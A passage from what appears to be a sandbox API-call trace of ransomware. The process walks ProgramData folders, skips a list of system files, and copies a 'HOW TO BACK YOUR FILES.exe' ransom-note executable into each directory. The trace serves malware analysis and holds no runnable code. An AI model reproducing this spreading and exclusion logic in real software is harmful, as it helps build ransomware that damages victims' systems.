ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0048.428] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0048.429] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0048.429] lstrlenW (lpString="My Videos") returned 9 [0048.429] lstrcpyW (in: lpString1=0x241e87a, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0048.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b60 [0048.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x46) returned 0x517348 [0048.429] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0048.429] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0048.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.430] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0048.430] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.430] ReleaseMutex (hMutex=0xec) returned 1 [0048.430] CloseHandle (hObject=0xec) returned 1 [0048.430] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Favorites" | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0048.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fe8 | out: hHeap=0x4f0000) returned 1 [0048.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db38 | out: hHeap=0x4f0000) returned 1 [0048.430] lstrlenW (lpString="C:\\ProgramData\\Favorites") returned 24 [0048.430] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\560D531FD3735DF94B48D78BCE5E964C") returned 0xec [0048.430] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.430] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Favorites" | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0048.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.431] CreateFileW (lpFileName="C:\\ProgramData\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.431] GetLastError () returned 0x0 [0048.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.431] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.432] CloseHandle (hObject=0xf4) returned 1 [0048.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.432] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.432] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.432] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.432] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.432] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.432] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.432] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.432] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.432] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.432] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0048.432] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.432] ReleaseMutex (hMutex=0xec) returned 1 [0048.432] CloseHandle (hObject=0xec) returned 1 [0048.432] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0048.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528340 | out: hHeap=0x4f0000) returned 1 [0048.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc10 | out: hHeap=0x4f0000) returned 1 [0048.433] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24 [0048.433] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3B47638417CEF5425D2027E96A7FDB50") returned 0xec [0048.433] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.433] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0048.433] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.433] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.433] GetLastError () returned 0x0 [0048.433] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.433] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.434] CloseHandle (hObject=0xf4) returned 1 [0048.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.434] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.434] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.434] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.435] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.435] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.435] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.435] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2=".") returned 1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="..") returned 1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="windows") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="bootmgr") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="temp") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="pagefile.sys") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="boot") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="ids.txt") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="ntuser.dat") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="perflogs") returned -1 [0048.435] lstrcmpiW (lpString1="Assistance", lpString2="MSBuild") returned -1 [0048.435] lstrlenW (lpString="Assistance") returned 10 [0048.435] lstrcpyW (in: lpString1=0x241e87a, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance" [0048.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc10 [0048.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x5172a8 [0048.435] lstrcatW (in: lpString1="Assistance", lpString2="\\" | out: lpString1="Assistance\\") returned="Assistance\\" [0048.435] lstrcatW (in: lpString1="Assistance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Assistance\\HOW TO BACK YOUR FILES.exe") returned="Assistance\\HOW TO BACK YOUR FILES.exe" [0048.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.437] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0048.437] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.437] lstrcmpiW (lpString1="Crypto", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.437] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1 [0048.438] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1 [0048.438] lstrlenW (lpString="Crypto") returned 6 [0048.438] lstrcpyW (in: lpString1=0x241e87a, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0048.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db38 [0048.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50f6d0 [0048.438] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0048.438] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0048.438] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.441] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2=".") returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="..") returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="windows") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="bootmgr") returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="temp") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="pagefile.sys") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="boot") returned 1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="ids.txt") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="ntuser.dat") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="perflogs") returned -1 [0048.441] lstrcmpiW (lpString1="Device Stage", lpString2="MSBuild") returned -1 [0048.441] lstrlenW (lpString="Device Stage") returned 12 [0048.441] lstrcpyW (in: lpString1=0x241e87a, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage" [0048.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b78 [0048.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x516370 [0048.441] lstrcatW (in: lpString1="Device Stage", lpString2="\\" | out: lpString1="Device Stage\\") returned="Device Stage\\" [0048.441] lstrcatW (in: lpString1="Device Stage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device Stage\\HOW TO BACK YOUR FILES.exe") returned="Device Stage\\HOW TO BACK YOUR FILES.exe" [0048.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.444] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2=".") returned 1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="..") returned 1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="windows") returned -1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="bootmgr") returned 1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="temp") returned -1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="pagefile.sys") returned -1 [0048.444] lstrcmpiW (lpString1="DeviceSync", lpString2="boot") returned 1 [0048.445] lstrcmpiW (lpString1="DeviceSync", lpString2="ids.txt") returned -1 [0048.445] lstrcmpiW (lpString1="DeviceSync", lpString2="ntuser.dat") returned -1 [0048.445] lstrcmpiW (lpString1="DeviceSync", lpString2="perflogs") returned -1 [0048.445] lstrcmpiW (lpString1="DeviceSync", lpString2="MSBuild") returned -1 [0048.445] lstrlenW (lpString="DeviceSync") returned 10 [0048.445] lstrcpyW (in: lpString1=0x241e87a, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync" [0048.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b90 [0048.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517258 [0048.445] lstrcatW (in: lpString1="DeviceSync", lpString2="\\" | out: lpString1="DeviceSync\\") returned="DeviceSync\\" [0048.445] lstrcatW (in: lpString1="DeviceSync\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DeviceSync\\HOW TO BACK YOUR FILES.exe") returned="DeviceSync\\HOW TO BACK YOUR FILES.exe" [0048.445] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.448] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2=".") returned 1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2="..") returned 1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2="windows") returned -1 [0048.448] lstrcmpiW (lpString1="DRM", lpString2="bootmgr") returned 1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="temp") returned -1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="pagefile.sys") returned -1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="boot") returned 1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="ids.txt") returned -1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="ntuser.dat") returned -1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="perflogs") returned -1 [0048.449] lstrcmpiW (lpString1="DRM", lpString2="MSBuild") returned -1 [0048.449] lstrlenW (lpString="DRM") returned 3 [0048.449] lstrcpyW (in: lpString1=0x241e87a, lpString2="DRM" | out: lpString1="DRM") returned="DRM" [0048.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ba8 [0048.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f5f8 [0048.449] lstrcatW (in: lpString1="DRM", lpString2="\\" | out: lpString1="DRM\\") returned="DRM\\" [0048.449] lstrcatW (in: lpString1="DRM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DRM\\HOW TO BACK YOUR FILES.exe") returned="DRM\\HOW TO BACK YOUR FILES.exe" [0048.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.451] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2=".") returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="..") returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="windows") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="bootmgr") returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="temp") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="pagefile.sys") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="boot") returned 1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="ids.txt") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", 